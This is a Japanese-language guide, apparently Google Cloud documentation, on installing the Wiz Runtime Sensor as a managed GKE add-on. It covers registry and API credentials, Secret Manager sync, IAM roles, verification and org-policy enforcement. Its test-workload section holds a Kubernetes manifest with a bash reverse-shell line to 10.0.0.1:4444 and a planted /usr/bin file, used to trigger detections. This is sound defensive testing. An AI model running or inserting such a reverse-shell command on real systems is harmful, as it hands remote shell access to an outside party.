GKE クラスタに Wiz Runtime Sensor をインストールする

Wiz Runtime Sensor は、Wiz コア プラットフォームのコンポーネントであり、ランタイム ワークロードのリアルタイムの脅威検出と対応機能を提供します。Runtime Sensor は、マネージド アドオンとして Google Kubernetes Engine(GKE)クラスタにインストールできます。このドキュメントでは、プラットフォーム管理者とセキュリティ エンジニア向けに、Runtime Sensor アドオンをインストールし、Wiz プラットフォームへのアクセスを構成して、組織、フォルダ、プロジェクト全体に Runtime Sensor のインストールを適用する方法について説明します。

Wiz Runtime Sensor に精通している必要があります。

Runtime Sensor アドオンを使用するタイミング

マネージド アドオンのインストール方法は、Helm チャートなどのインストール方法を使用して Runtime Sensor をインストールする組み込みの代替方法です。Runtime Sensor アドオンには次の利点があります。

  • GKE がコンポーネントをインストールし、ほとんどの構成タスクを管理するため、Helm チャートを使用する場合と比較して、Runtime Sensor のインストールにかかる労力と複雑さが軽減されます。
  • 組織ポリシー サービスを使用すると、組織、フォルダ、プロジェクト全体でアドオンを有効にできます。
  • このアドオンは、Autopilot クラスタと、Standard クラスタの Autopilot ワークロードとともに実行されます。Runtime Sensor を許可リストに追加する必要はありません。
  • Runtime Sensor コンポーネントの更新は、GKE パッチ バージョンのアップグレードとは独立しています。

Helm チャートを使用して、クラスタに Runtime Sensor をインストールすることもできます。この方法を使用すると、センサー構成をより柔軟にカスタマイズできます。ただし、この方法ではインストール時に手動構成が必要になります。また、アドオンを使用する場合と比較して、大規模な適用が困難です。Helm チャートを使用して Runtime Sensor をインストールすると、コンポーネントは GKE によって管理されません。GKE アドオンを使用していない場合は、エラーや非互換性など、Runtime Sensor に関する問題を Wiz に直接報告してください。

仕組み

GKE API を使用して、特定クラスタにアドオンをインストールします。アドオンを有効にすると、GKE は gke-managed-wiz Namespace を作成し、Runtime Sensor コンポーネントをインストールします。GKE では、Runtime Sensor のイメージを pull するために Wiz の非公開 Container Registry へのアクセスが必要です。

インストール後、Runtime Sensor は Wiz プラットフォームに情報を送信するために Wiz API へのアクセス権を必要とします。GKE と Runtime Sensor に必要なアクセス権を付与するには、次の情報を gke-managed-wiz Namespace の Secret として指定します。

  • Wiz Container Registry にアクセスしてランタイム センサー イメージを pull するための認証情報。
  • Wiz API 認証情報や環境固有の変数など、Runtime Sensor の構成情報。

これらのシークレットは手動で作成することも、 Cloud de Confiance by S3NSSecret Manager に情報をアップロードして自動的にシークレットを作成し、定期的なスケジュールでバージョンをローテーションして、デプロイされたシークレットに更新をロールアウトすることもできます。

料金

Wiz Runtime Sensor アドオンは、GKE で追加料金なしで利用できます。次のことに注意してください。

  • 有効な Wiz ランタイム センサー ライセンスが必要です。詳細については、Wiz の料金をご覧ください。
  • Runtime Sensor コンポーネントはノードで実行され、CPU とメモリリソースを消費します。これにより、クラスタ内のすべての Pod を収容するために必要なノードが増える可能性があります。
  • Secret Manager を使用して Wiz の認証情報と構成を保存する場合は、Secret Manager の料金が適用されます。

制限事項

アドオンの使用には次の制限が適用されます。

  • デプロイされた Secret で Wiz レジストリまたは API 認証情報を更新した場合は、kubectl rollout restart コマンドを使用して Runtime Sensor DaemonSet を手動で再起動する必要があります。
  • Runtime Sensor をインストールするには、テナントの Wiz レジストリ認証情報を Kubernetes Secret または Secret Manager にアップロードする必要があります。
  • プライベート ノードを使用する場合は、Cloud NAT を使用して Wiz Container Registry(registry.wiz.io)へのアウトバウンド アクセスを構成する必要があります。
  • マネージド GKE アドオンは、Runtime Sensor の次のオプション構成パラメータのみをサポートしています。
    • httpProxyConfiguration.httpsProxy
    • httpProxyConfiguration.caCertificate
    • httpProxyConfiguration.clientCertificate

他の構成パラメータを使用するには、Helm チャートを使用して Runtime Sensor をインストールします。

始める前に

作業を始める前に、次のタスクが完了していることを確認してください。

  • Google Kubernetes Engine API を有効にする。
  • Google Kubernetes Engine API を有効化
  • このタスクに Google Cloud CLI を使用する場合は、gcloud CLI をインストールして初期化します。gcloud CLI をインストール済みの場合は、gcloud components update コマンドを実行して最新のバージョンを取得します。以前のバージョンの gcloud CLI では、このドキュメントのコマンドを実行できない場合があります。

必要なロール

GKE の Runtime Sensor アドオンを有効にして構成するには、 Cloud de Confiance プロジェクトに対する次のロールが必要です。

  • GKE クラスタを構成する: Cloud de Confiance プロジェクトに対する Kubernetes Engine クラスタ管理者(roles/container.clusterAdmin)。
  • API 認証情報と構成ファイルを Secret Manager にアップロードする: Cloud de Confiance プロジェクトに対する Secret Manager 編集者(roles/secretmanager.editor)。
  • Runtime Sensor が使用する Kubernetes ServiceAccount に Identity and Access Management(IAM)ロールを付与します。 Cloud de Confiance プロジェクトの Secret Manager 管理者(roles/secretmanager.admin)。
  • 組織のポリシーを構成する: 組織に対する組織のポリシー管理者(roles/orgpolicy.policyAdmin)。

また、Wiz Container Registry の認証情報を取得し、Wiz API の OAuth トークンを生成するには、Wiz テナントへのアクセス権も必要です。

Wiz の認証情報と構成ファイルを準備する

Runtime Sensor をインストールして Wiz プラットフォームに情報を送信するには、Wiz の非公開レジストリと Wiz API にアクセスするための認証情報を提供する必要があります。この情報を準備する手順は次のとおりです。

  1. registry.wiz.io レジストリの Wiz Container Registry の認証情報を確認します。
  2. Kubernetes が解析できる構造でレジストリ認証情報を含む Base64 エンコード文字列を作成します。

    echo -n 'WIZ_REGISTRY_USERNAME:WIZ_REGISTRY_PASSWORD' | base64 | tr -d '\n'
    

    次のように置き換えます。

    • WIZ_REGISTRY_USERNAME: Wiz Container Registry のユーザー名。
    • WIZ_REGISTRY_PASSWORD: Wiz Container Registry のパスワード。

    出力は次のようになります。

    aGVsbG86d29ybGQ=
    
  3. 情報を JSON ファイルとして保存します。

    {
      "auths": {
        "registry.wiz.io": {
          "username": "WIZ_REGISTRY_USERNAME",
          "password": "WIZ_REGISTRY_PASSWORD",
          "auth": "BASE64_ENCODED_CREDENTIALS"
        }
      }
    }
    

    BASE64_ENCODED_CREDENTIALS は、前の手順で取得したエンコードされた文字列に置き換えます。

  4. Wiz サービス アカウントを作成し、次の情報をコピーします。

    • クライアント ID。これは、Wiz ポータルの [サービス アカウント] ページでも確認できます。
    • クライアント シークレット。これは、サービス アカウントの作成時にのみ表示されます。
  5. Runtime Sensor の YAML 構成ファイルを作成します。

    clientId: "WIZ_CLIENT_ID"
    clientToken: "WIZ_CLIENT_SECRET"
    clientEndpoint: "WIZ_CLIENT_ENDPOINT"
    

    次のように置き換えます。

    • WIZ_CLIENT_ID: サービス アカウントのクライアント ID。
    • WIZ_CLIENT_TOKEN: サービス アカウントのクライアント シークレット。
    • WIZ_CLIENT_ENDPOINT: 使用するトークン URL。これは Wiz テナントによって異なります。
  6. 省略可: HTTP プロキシを使用する場合は、プロキシ サーバーを使用するようにランタイム センサーを構成できます。プロキシの YAML 構成ファイルを作成します。

    httpsProxy: "PROXY_URL"
    caCertificate: "CA_CERTIFICATE"
    clientCertificate: "CLIENT_CERTIFICATE"
    

    次のように置き換えます。

    • PROXY_URL: 完全修飾プロキシ URL(https://proxy.example.com:8080 など)。
    • CA_CERTIFICATE: プロキシ サーバーの CA 証明書(PEM 形式)。プロキシ サーバーが TLS を使用していない場合は、空の値("")を指定します。
    • CLIENT_CERTIFICATE: プロキシ サーバーのクライアント証明書(PEM 形式)。プロキシ サーバーが TLS を使用しない場合は、空の値("")を指定します。

Secret Manager でシークレットを作成する

このセクションでは、さまざまな Wiz 構成ファイルと認証情報ファイルを Secret Manager に保存する方法について説明します。これらのシークレットの URI は、GKE クラスタで Runtime Sensor アドオンを有効にするときに指定できます。Secret Manager は、Wiz Namespace に Kubernetes Secret を自動的に作成します。Secret Manager で値を更新すると、Kubernetes Secret は自動的に再同期され、新しい値が使用されます。必要に応じて、このセクションをスキップして、gke-managed-wiz Namespace に Secret を手動で作成することもできます。

Secret Manager でシークレットを作成する手順は次のとおりです。

  1. Wiz レジストリの認証情報を保存します。

    1. Wiz レジストリの認証情報を保存する Secret を作成します。

      gcloud secrets create wiz-image-pull-secret \
          --replication-policy="automatic" \
          --project="SECRET_PROJECT_ID"
      

      SECRET_PROJECT_ID は、シークレットを作成する Cloud de Confiance プロジェクトのプロジェクト ID に置き換えます。

    2. Wiz レジストリの認証情報を wiz-image-pull-secret Secret に保存します。

      gcloud secrets versions add wiz-image-pull-secret \
          --project="SECRET_PROJECT_ID" \
          --data-file=PATH_TO_CREDENTIALS_FILE
      

      PATH_TO_CREDENTIALS_FILE は、Wiz レジストリ認証情報を含む JSON ファイルのパスに置き換えます。

  2. Runtime Sensor API の認証情報を保存します。

    1. Runtime Sensor API 認証情報を保存する Secret を作成します。

      gcloud secrets create wiz-api-key-secret \
          --replication-policy="automatic" \
          --project="SECRET_PROJECT_ID"
      
    2. Runtime Sensor API の認証情報を wiz-api-key-secret Secret に保存します。

      gcloud secrets versions add wiz-api-key-secret \
          --project="SECRET_PROJECT_ID" \
          --data-file=PATH_TO_CONFIG_FILE
      

      PATH_TO_CONFIG_FILE は、Runtime Sensor API 認証情報を含む YAML ファイルのパスに置き換えます。

  3. 省略可: プロキシの構成情報を保存します。

    1. プロキシ サーバーの構成を保存する Secret を作成します。

      gcloud secrets create wiz-sensor-proxy-secret \
          --replication-policy="automatic" \
          --project="SECRET_PROJECT_ID"
      
    2. プロキシ サーバーの構成を wiz-sensor-proxy-secret シークレットに保存します。

      gcloud secrets versions add wiz-sensor-proxy-secret \
          --project="SECRET_PROJECT_ID" \
          --data-file=PATH_TO_PROXY_FILE
      

      PATH_TO_PROXY_FILE は、プロキシ構成パラメータを含む YAML ファイルのパスに置き換えます。

GKE に Secret Manager へのアクセス権を付与する

Secret Manager の情報を Kubernetes Secret として同期するには、作成したシークレットに対する Secret Manager シークレット アクセサー(roles/secretmanager.secretAccessor)IAM ロールを、gke-managed-wiz Namespace の wiz-sensor-secretsync-sa Kubernetes ServiceAccount に付与します。クラスタで Runtime Sensor アドオンを有効にすると、GKE はこの ServiceAccount を作成し、ServiceAccount ID を使用して Namespace に対応する Secret を作成します。Secret Manager を使用せずに Secret を手動で作成する場合は、このセクションをスキップしてください。

必要なロールを付与する手順は次のとおりです。

  1. クラスタ プロジェクトのプロジェクト番号を確認します。

    gcloud projects describe CLUSTER_PROJECT_ID --format='value(projectNumber)'
    

    出力は 1234567890 のようになります。

  2. wiz-image-pull-secret シークレットに対するロールを付与します。

    gcloud secrets add-iam-policy-binding wiz-image-pull-secret \
        --project=SECRET_PROJECT_ID \
        --role="roles/secretmanager.secretAccessor" \
        --member="principal://iam.googleapis.com/projects/CLUSTER_PROJECT_NUMBER/locations/global/workloadIdentityPools/CLUSTER_PROJECT_ID.s3ns.svc.id.goog/subject/ns/gke-managed-wiz/sa/wiz-sensor-secretsync-sa"
    

    次のように置き換えます。

    • SECRET_PROJECT_ID: シークレットを含むプロジェクトのプロジェクト ID。
    • CLUSTER_PROJECT_NUMBER: クラスタ プロジェクトのプロジェクト番号。
    • CLUSTER_PROJECT_ID: クラスタ プロジェクトのプロジェクト ID。
  3. wiz-api-key-secret シークレットに対するロールを付与します。

    gcloud secrets add-iam-policy-binding wiz-api-key-secret \
        --project=SECRET_PROJECT_ID \
        --role="roles/secretmanager.secretAccessor" \
        --member="principal://iam.googleapis.com/projects/CLUSTER_PROJECT_NUMBER/locations/global/workloadIdentityPools/CLUSTER_PROJECT_ID.s3ns.svc.id.goog/subject/ns/gke-managed-wiz/sa/wiz-sensor-secretsync-sa"
    
  4. 省略可: HTTP プロキシ情報を含むシークレットを作成した場合は、wiz-sensor-proxy-secret シークレットに対するロールを付与します。

    gcloud secrets add-iam-policy-binding wiz-sensor-proxy-secret \
        --project=SECRET_PROJECT_ID \
        --role="roles/secretmanager.secretAccessor" \
        --member="principal://iam.googleapis.com/projects/CLUSTER_PROJECT_NUMBER/locations/global/workloadIdentityPools/CLUSTER_PROJECT_ID.s3ns.svc.id.goog/subject/ns/gke-managed-wiz/sa/wiz-sensor-secretsync-sa"
    

GKE で Runtime Sensor アドオンを有効にする

Secret Manager でシークレットを作成し、シークレットに必要なロールを GKE に付与したら、クラスタで Runtime Sensor アドオンを有効にします。このアドオンは、新規または既存の Standard クラスタまたは Autopilot クラスタで有効にできます。次の手順では、既存のクラスタでアドオンを有効にしてシークレットの同期を構成する方法について説明します。これらのフラグは、クラスタの作成時にも使用できます。

  1. 既存のクラスタで Secret の同期を有効にします。Secret Manager を使用せずに Secret を手動で作成する場合は、この手順をスキップします。

    gcloud container clusters update CLUSTER_NAME \
        --project=CLUSTER_PROJECT_ID \
        --location=CONTROL_PLANE_LOCATION \
        --enable-secret-sync --enable-secret-sync-rotation
    

    次のように置き換えます。

    • CLUSTER_NAME: クラスタの名前。
    • CLUSTER_PROJECT_ID: クラスタ プロジェクトのプロジェクト ID。
    • CONTROL_PLANE_LOCATION: クラスタのコントロール プレーンのロケーション。
  2. 次のいずれかのコマンドを実行して、アドオンを有効にします。Secret Manager を使用せずに Secret を手動で作成する場合は、これらのコマンドで --addons フラグのみを指定します。

    • HTTP プロキシを構成せずにアドオンを有効にします。

      gcloud container clusters update CLUSTER_NAME \
          --project=CLUSTER_PROJECT_ID \
          --location=CONTROL_PLANE_LOCATION \
          --update-addons=WizSensor=ENABLED \
          --wiz-sensor-registry-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-image-pull-secret/versions/latest \
          --wiz-sensor-api-key-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-api-key-secret/versions/latest
      
    • アドオンを有効にして HTTP プロキシを構成します。

      gcloud container clusters update CLUSTER_NAME \
          --project=CLUSTER_PROJECT_ID \
          --location=CONTROL_PLANE_LOCATION \
          --update-addons=WizSensor=ENABLED \
          --wiz-sensor-registry-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-image-pull-secret/versions/latest \
          --wiz-sensor-api-key-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-api-key-secret/versions/latest \
          --wiz-sensor-proxy-secret-uri=projects/SECRET_PROJECT_ID/secrets/wiz-sensor-proxy-secret/versions/latest
      

インストールを確認する

アドオンのインストールを確認する手順は次のとおりです。

  1. クラスタで kubectl コマンドを実行するための認証情報を取得します。

    gcloud container clusters get-credentials CLUSTER_NAME \
        --location=CONTROL_PLANE_LOCATION \
        --project=CLUSTER_PROJECT_ID
    
  2. gke-managed-wiz 名前空間が存在するかどうかを確認します。

    kubectl get namespace gke-managed-wiz
    

    出力は次のようになります。

    NAME              STATUS   AGE
    gke-managed-wiz   Active   76s
    
  3. Secret Manager カスタム リソースが Namespace に存在するかどうかを確認します。

    kubectl get secretproviderclass --namespace=gke-managed-wiz
    kubectl get secretsync --namespace=gke-managed-wiz
    

    出力は次のようになります。

    NAME                          AGE
    wiz-sensor-secrets-provider   76s
    wiz-sensor-apikey             76s
    wiz-sensor-imagepullkey       75s
    wiz-sensor-proxy              76s
    
  4. Kubernetes Secret が存在するかどうかを確認します。

    kubectl get secrets --namespace=gke-managed-wiz
    

    出力は次のようになります。

    NAME                      TYPE                              DATA   AGE
    wiz-sensor-apikey         Opaque                            3      76s
    wiz-sensor-imagepullkey   kubernetes.io/dockerconfigjson    1      75s
    
  5. Runtime Sensor DaemonSet のステータスを確認します。

    kubectl get daemonset --namespace=gke-managed-wiz
    

    出力は次のようになります。

    NAME        DESIRED   CURRENT   READY   UP-TO-DATE   AVAILABLE   NODE SELECTOR   AGE
    wiz-sensor  1         1         1       1            1           <none>          76s
    

    この出力は、Runtime Sensor が準備完了で使用可能であることを示しています。

  6. Runtime Sensor Pod の起動ログと接続ログを確認します。

    kubectl logs -n gke-managed-wiz daemonset/wiz-sensor --tail=100
    

    出力は次のようになります。

    {"fields":{"defs_commit":"","defs_version":"0.0.0","message":"version","sensor_version":"1.0.12402 (CMT_6dda526 2026-09-11T15:51:34-04:00)"},"level":"INFO","timestamp":"2026-09-24T17:06:32.982+00:00"}
    {"fields":{"message":"starting content update"},"level":"INFO","timestamp":"2026-09-24T17:06:33.304+00:00"}
    {"fields":{"message":"ending content update - new content downloaded"},"level":"INFO","timestamp":"2026-09-24T17:06:34.215+00:00"}
    {"fields":{"defs_commit":"4cf39a653","defs_version":"1.0.6125","message":"version","sensor_version":"1.0.12402 (CMT_6dda526 2026-09-11T15:51:34-04:00)"},"level":"INFO","timestamp":"2026-09-24T17:06:34.372+00:00"}
    {"fields":{"env":{"ALLOWED_CONTROLLER_API_GROUPS":"[\"\",\"apps\",\"batch\",\"argoproj.io\",\"sparkoperator.k8s.io\",\"ray.io\",\"tekton.dev\",\"composer.cloud.google.com\",\"kafka.strimzi.io\",\"actions.github.com\"]","ALLOW_KUBELET_COMMUNICATION":"false","BACKEND_ENV":"prod","CRI_SOCKET_CUSTOM_PATH":"","HELM_CHART_COMPAT_VER":"1","HELM_CHART_VERSION":"1.0.11492","HTTP_PROXY_URL":"","JSON":"true","LOG_FILE":"/wiz-sensor-store/sensor.log","RAMFS_STORE":"/tmp/","SENSOR_CLUSTER_NAME":"CLUSTER_NAME","STDOUT_LOG":"error","TMP_STORE":"/wiz-sensor-store/"},"hash":"daa946af4dd7eb728495e752bb35399749ad2c2c","message":"Wiz Sensor env config"},"level":"INFO","timestamp":"2026-09-24T17:09:24.844+00:00"}
    {"fields":{"defs_commit":"4cf39a653","defs_version":"1.0.6125","message":"version","sensor_version":"1.0.12402 (CMT_6dda526 2026-09-11T15:51:34-04:00)"},"level":"INFO","timestamp":"2026-09-24T17:09:25.249+00:00"}
    {"fields":{"major":6,"message":"kernel version","minor":12,"patch":94},"level":"INFO","timestamp":"2026-09-24T17:09:25.277+00:00"}
    {"fields":{"delay":{"nanos":0,"secs":0},"message":"sensor start delay secs","range":0},"level":"INFO","timestamp":"2026-09-24T17:09:34.994+00:00"}
    

テスト ワークロードをデプロイする

Wiz ポータルへの接続が機能しているかどうかを確認する手順は次のとおりです。

  1. 次の Deployment マニフェストを YAML ファイルとして保存します。

    apiVersion: apps/v1
    kind: Deployment
    metadata:
      name: demo-nginx
      namespace: default
    spec:
      replicas: 1
      selector:
        matchLabels:
          app: demo-nginx
      template:
        metadata:
          labels:
            app: demo-nginx
        spec:
          containers:
          - name: nginx
            image: nginx:1.15.6
            command: ["/bin/bash", "-c"]
            args:
            - |
              # Trigger background reverse shell attempt
              (timeout 5 bash -i >& /dev/tcp/10.0.0.1/4444 0>&1) &
              # Trigger image drift file modification
              touch /usr/bin/malicious_test_file
              # Start Nginx
              exec nginx -g "daemon off;"
            ports:
            - containerPort: 80
    

    この Deployment では、リバースシェル攻撃をシミュレートする Pod が作成されます。

  2. Deployment を作成します。

    kubectl apply -f PATH_TO_MANIFEST
    

    PATH_TO_MANIFEST は、Deployment マニフェスト ファイルのパスに置き換えます。

  3. Wiz Portal で、[脅威] ページに移動します。

  4. 脅威の表で、リバースシェルの試行に関する脅威の検出結果を探します。

組織のポリシーを使用してアドオンのインストールを強制する

組織のポリシーを使用すると、組織、フォルダ、プロジェクト内の複数のクラスタに Runtime Sensor アドオンのインストールを適用できます。次のプロパティを持つカスタム制約を作成します。

  • リソース: container.googleapis.com/Cluster
  • 条件: resource.addonsConfig.wizSensor.enabled == false
  • アクション: DENY

これらのプロパティを持つカスタム制約を構成する方法については、カスタムの組織のポリシーを使用して GKE リソースに対するアクションを制限するをご覧ください。

次のステップ